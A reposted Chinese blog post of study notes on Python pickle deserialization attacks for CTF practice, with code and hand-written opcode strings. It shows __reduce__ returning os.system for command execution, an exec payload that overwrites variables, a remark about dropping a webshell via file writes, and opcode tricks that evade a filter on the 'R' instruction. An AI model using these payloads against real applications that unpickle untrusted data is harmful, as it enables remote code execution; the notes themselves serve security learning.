-----已搬运-------【!总章程!】python反序列化入门学习

知识来源哦哦:

最最最底层的分析:来自知乎专栏的,也是炅哥推荐的文章

GitHub上的 opcode 指令的含义:

这个挺好,先知社区讲的,由书写和阅读opcode码的相对来说比较详细的讲解,有gif图片教学,好得很

这个是P牛讲的,中间靠后那一段,学了不少,熟练opcode就从这学的

这是一个个人网站的,没看,因该写的不错吧,记录下来了

要手写的话,看这个https://blog.csdn.net/Zero_Adam/article/details/114535044是p0写的,下面是p3写的,不方便看,

1.利用__reduce__方法来RCE

代码分析 + 实例熟悉

最最基本的别忘了,,
在这里插入图片描述

python反序列化----本地测试 -----踩坑注意点! 这个夭折了,可以看看那些nb的【附件。。。】

生成二进制码,并且利用 逆向分析工具

# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)

这段代码就是练习python反序列化的例子,

import pickle
import os
import pickletools
import base64
class Student():
    def __init__(self,name,grade):
        self.name = name
        self.grade = grade
    def __eq__(self, other):
        return type(other) is Student and \
        self.name == other.name and\
        self.grade == other.grade

"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)
"""

res = pickle.loads(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.')
print(res)


这是正常的 Student 的反序列化的 二进制码

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'

在这里插入图片描述

这个是 带有reduce的 student类

reduce实现如下:

    def __reduce__(self):
        return (os.system,('ls /',))

这是生成的二进制码

b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.'

在这里插入图片描述至于为什么 反序列化 时候,用__reduce__方法就能够执行呢。这个知乎的那篇文章已经讲的很清楚了,这里我只是自己输出一遍,看看自己理解的怎么样:

reduce呢,就是 两个参数,前面一个参数是方法,后面一个参数是一个字符串或者是元组,我们选择元组作为他的参数,也就是前面的那个方法的参数,这样就能够执行这个 方法了

而我们 学习那篇文章,又能知道 在反序列化时, R 操作符,会弹出栈顶两次,假设先弹出a,后后弹出b,那么就会执行b.a这样的方法,刚好和reduce方法一致,

这里我们看一下上面的 恶意的二进制的反序列化字符串:

res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')

c字符,__posix__.system压入栈,然后 字符串ls /入栈,然后执行 R 指令。
ls /出栈,__posix__.system出栈。执行__posix__.system(ls /)的命令,就执行了RCE了。

这是我牵强附会写的,肯定不对,只是为了顺畅分析而已,还是要看那个知乎文章去。

更换指令执行RCE

然后我们就可以修改任意指令了:
在这里插入图片描述

读写文件

在这里插入图片描述
这样会在当前py文件目录中生成poc.txt文件,如果这个py文件在网站跟目录里面的话,就可以连接木马了
在这里插入图片描述

变量覆盖

在这里插入图片描述
这个是正常运行reduce方法产生的序列化字符串,然后贴进去就行了

b"\x80\x03cbuiltins\nexec\nq\x00X\x17\x00\x00\x00key1=b'999'\nkey2=b'666'q\x01\x85q\x02Rq\x03."
更换模块名可以执行

在这里插入图片描述
之前是那个什么 posix

有了__reduce__之后,正常反序列化代码消失??

这是正常的 反序列化字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'

这是带有 __reduce__的反序列化字符串

res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')

可见,很多反序列化的信息都没有了啊,,,
没查出些什么来,就是说python会在序列化的时候调用 reduce 。。

重磅: 如何手写opcode?

在这里插入图片描述

阅读一段最简单的代码:

在这里插入图片描述
我的猜测是正确的,\x85,\x86,\x87不仅仅是压入一个空元组,而是把相应个数的栈顶元素放入这个元组中,然后将这个非空元组压入栈顶。

见下图:
在这里插入图片描述

在这里插入图片描述

2.当禁止使用reduce的时候,也就是过滤了 R 的时候

1.全局变量包含:c指令码的妙用

在这里插入图片描述

我们先获取一个正常的 序列化 字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'

然后 用c 指令来进行绕过

这个是用c给代替了的,能够正常反序列化出来Student实例

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'

这里用的就是 c 来代替 。从而该改变了 内部的信息
在这里插入图片描述

我改了改,改成这个样子了

bb.py

# -*- coding: UTF-8 -*-

import pickle
import os
import pickletools
import base64
class Student():

    def __init__(self,name,grade):
        self.name = name
        self.grade = grade

    def __eq__(self, other):
        return type(other) is Student and \
        self.name == other.name and\
        self.grade == other.grade

"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)

"""
import blue
def check(data):
    if b'R' in data:
        print ('no reduce!')
    x = pickle.loads(data) #  unserializtion

    if(x != Student(blue.name,blue.grade)):
        print('not equal >_<')
    print('wel dome')

# check 里面写我们构造的 恶意的反序列话的 二进制的字符串
check(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.')


blue.py

name = 'QAQ'
grade = 'G666'

这里用的就是 c 来代替
在这里插入图片描述

3.绕过c指令的module限制:先读入,再篡改,

在这里插入图片描述

先看一下正常的 序列化什么样子

在这里插入图片描述
这个是正常的 反序列化的字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'

然后尝试和上面的一样,引入 blue 中的那些

这里!!!!!!!!!
修改的这里,我应该是要会手写进去的,而不是会复制粘贴进去

修改成这样:然后放进去,就好了

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'

在这里插入图片描述
在这里插入图片描述
同时成功修改了 name和grade。

贴一下代码把:
没有留备份代码

# -*- coding: UTF-8 -*-

import pickle
import os
import pickletools
import base64

class Student():
    def __init__(self,name,grade):
        self.name = 'rxz'
        self.grade='G2'

"""
# see the nomal Student
payload = pickle.dumps(Student('rxz','G2'))
payload = pickletools.optimize(payload)
print(payload)
pickletools.dis(payload)

"""


import blue
def check(data):
    if b'R' in data:
        print ('no reduce!')
        exit()
    x = pickle.loads(data) #  unserializtion

    if(x != Student(blue.name,blue.grade)):
        print('not equal >_<')
        exit()
    print('wel dome')
    exit()


s=b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
s = pickletools.optimize(s)

pickletools.dis(s)
print(s)


res = pickle.loads(s)
print(res.name,res.grade)

4.不用reduce,也能RCE

这个我将P牛的文章 细细分析了一波,可以看一看。

基本功的第四点:【!牛逼!附件】python反序列化 例题学习 +++ 基本功:手挫OPCODE代码 !!: &&本地复现环境&& 详细解释 P牛 的那个 builtins 绕过沙盒的RCE

5.回到这个题上面去了,实践一下

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值